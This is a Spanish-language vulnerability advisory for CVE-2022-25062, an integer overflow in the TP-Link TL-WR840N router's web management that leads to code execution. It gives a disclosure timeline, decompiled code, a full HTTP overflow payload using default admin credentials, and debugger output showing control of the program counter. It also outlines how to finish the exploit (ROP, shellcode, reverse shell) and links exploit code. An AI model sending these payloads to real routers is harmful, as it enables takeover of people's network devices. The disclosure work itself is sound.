Remote Code Execution in TPLINK TL-WR840N – CVE-2022-25062

Remote Code Execution in TPLINK TL-WR840N via Integer Overflow

Version TL-WR840N(ES)_V6.20_180709

CVE-2022-25062
Aviso de Seguridad 004

Samir Sánchez Garnica
Luis Eduardo Jácome Valencia

Descripción de la vulnerabilidad

TL-WR840N

Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.

EL PROBLEMA

Esta versión es afectada por la ejecución de código remoto bajo el objeto dm_checkString.

VERSIONES AFECTADAS

Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709

Línea de tiempo
FechaAcción
10/12/2021Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK
13/12/2021Se recibe una respuesta con el equipo de seguridad de TPLINK
02/02/2022Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad
09/02/2022Se cierra el caso con el hallazgo identificado
Linea de tiempo

Descripción técnica y prueba de concepto (PoC)

Identificación de vulnerabilidad a traves de la ingenieria inversa

Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , en muchos de los casos descubiertos se identifica que muchos de los parametros que son pasados por el cliente no son sanitizados y pasan directamente a la funcion util_execSystem la cual ejecuta comandos de sistema operativo dentro del dispositivo.

a continuacion puede identificar el segmento de codigo vulnerable.

undefined4 dm_checkString(int param_1,char *param_2)

{
  uint uVar1;
  undefined4 uVar2;
  
  strlen(param_2);
  uVar1 = *(uint *)(param_1 + 8);
  if (uVar1 < 8) {
                    /* WARNING: Could not recover jumptable at 0x00090578. Too many branches */
                    /* WARNING: Treating indirect jump as call */
    uVar2 = (*(code *)(&_gp_1 + *(int *)(&DAT_000c4060 + uVar1 * 4)))();
    return uVar2;
  }
  cdbg_printf(8,"dm_checkString",0x59a,"Unknow parameter type : %d\n",uVar1);
  return 0x232e;
}

Tenemos una funcion que recibe dos argumentos un valor de tipo entero y un puntero de datos de tipo char, cuando este puntero aloja un tamaño especifico en el puntero y se pasa como argumento a la funcion strlen podemos ver que se toma control sobre algunos registros, ocasionando asi un desbordamiento de enteros en la función.

Podemos comprobar el desbordamiento enviando el siguiente payload.

POST /cgi?2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 3331
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5
enable=1
userName=admin
password=admin
userDomain=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
login=1

Una vez enviada la petición tenemos el siguiente resumen.

Program received signal SIGSEGV, Segmentation fault.
0x2b750548 in dm_checkString () from target:/lib/libcmm.so
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
*V0   0xc98
*V1   0x7fcc95e0 ◂— 0x0
*A0   0x7fcc8948 ◂— 0x41414141 ('AAAA')
*A1   0xfefefeff
 A2   0x0
*A3   0x7fcca90d ◂— 0xa31 /* '1\n' */
*T0   0x81010100
*T1   0xa0a0a0a ('\n\n\n\n')
*T2   0x0
*T3   0x0
*T4   0x0
*T5   0x0
*T6   0x0
*T7   0x0
*T8   0x0
*T9   0x2b83f0c0 (strlen) ◂— b      0x2b83f0d4
*S0   0x7fcc8948 ◂— 0x41414141 ('AAAA')
*S1   0x42424242 ('BBBB')
*S2   0x7fcc8eb0 ◂— 0x44444444 ('DDDD')
*S3   0xc98
*S4   0x7fcc95a0 ◂— 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
*S5   0x0
*S6   0x1
*S7   0x7fcc9b40 ◂— 0x0
*S8   0x7fcc8eb0 ◂— 0x44444444 ('DDDD')
*FP   0x7fcc88a0 ◂— 0x0
*SP   0x7fcc8860 —▸ 0x423070 —▸ 0x40c850 ◂— jalx   0x5c59548 /* 'Request-URI Too Long' */
*PC   0x2b750548 (dm_checkString+64) ◂— lw     $v0, 8($s1)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x2b750548 <dm_checkString+64>     lw     $v0, 8($s1)
   0x2b75054c <dm_checkString+68>     lw     $gp, 0x20($sp)
   0x2b750550 <dm_checkString+72>     sltiu  $v1, $v0, 8
   0x2b750554 <dm_checkString+76>     beqz   $v1, dm_checkString+1144 <0x2b750980>

   0x2b750558 <dm_checkString+80>     addiu  $a0, $zero, 8
   0x2b75055c <dm_checkString+84>     lw     $v1, -0x7fd0($gp)
   0x2b750560 <dm_checkString+88>     sll    $v0, $v0, 2
   0x2b750564 <dm_checkString+92>     addiu  $v1, $v1, 0x4060
   0x2b750568 <dm_checkString+96>     addu   $v0, $v1, $v0
   0x2b75056c <dm_checkString+100>    lw     $v0, ($v0)
   0x2b750570 <dm_checkString+104>    nop
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ sp 0x7fcc8860 —▸ 0x423070 —▸ 0x40c850 ◂— jalx   0x5c59548 /* 'Request-URI Too Long' */
01:0004│    0x7fcc8864 —▸ 0x2b68b108 (_dl_runtime_resolve+72) ◂— lw     $gp, 0x20($sp) /* ' ' */
02:0008│    0x7fcc8868 ◂— 0x0
03:000c│    0x7fcc886c ◂— 0x0
04:0010│    0x7fcc8870 ◂— 0x15
05:0014│    0x7fcc8874 ◂— 0x0
06:0018│    0x7fcc8878 —▸ 0x2b7b44a0 ◂— 0x0
07:001c│    0x7fcc887c ◂— 0x0
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0x2b750548 dm_checkString+64
   f 1 0x2b750c40 dm_setParamNodeString+72
   f 2 0x2b7452c8 dm_fillObjByStr+776
   f 3 0x44444444
──────────────────────────────────────────────────────────────────────

AL ajustar el payload podemos pasar los checks de errores y obtener un mejor control de los registros.

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
*V0   0x232f
*V1   0x0
*A0   0x1
*A1   0x1
*A2   0x49
 A3   0x1
*T0   0x0
*T1   0xfffffffe
*T2   0x0
*T3   0x27656c62 ("ble'")
*T4   0x61762073 ('s va')
*T5   0x800
*T6   0x400
*T7   0x2065756c ('lue ')
*T8   0x0
*T9   0x2b3ad6ec (__pthread_unlock) ◂— lui    $gp, 2
*S0   0x45454545 ('EEEE')
*S1   0x45454545 ('EEEE')
*S2   0x45454545 ('EEEE')
*S3   0x45454545 ('EEEE')
*S4   0x45454545 ('EEEE')
*S5   0x45454545 ('EEEE')
*S6   0x45454545 ('EEEE')
*S7   0x45454545 ('EEEE')
*S8   0x45454545 ('EEEE')
*FP   0x7f984d40 ◂— 0x45454545 ('EEEE')
*SP   0x7f984d40 ◂— 0x45454545 ('EEEE')
*PC   0x45454545 ('EEEE')
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x45454545

──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ fp sp 0x7f984d40 ◂— 0x45454545 ('EEEE')
... ↓          7 skipped
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0x45454545

La explotación

Los metodos de explotación pueden ser variados, puede hacer uso de ROP to system call e inyectar un shellcode, aprovechando que la pila tiene permisos de ejecución, no olvide que esta trabajndo con la arquitectura MIPSLE asi que debera luchar contra la incoherencia de cache para llamar a su shellcode de forma adecuada

Finalmente obtenga la reverse shell y tome control del producto.

Video Prueba de concepto

URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25062

URL código de explotación: https://github.com/exploitwritter/CVE-2022-25062

Deja un comentario

Web construida con WordPress.com.

Subir ↑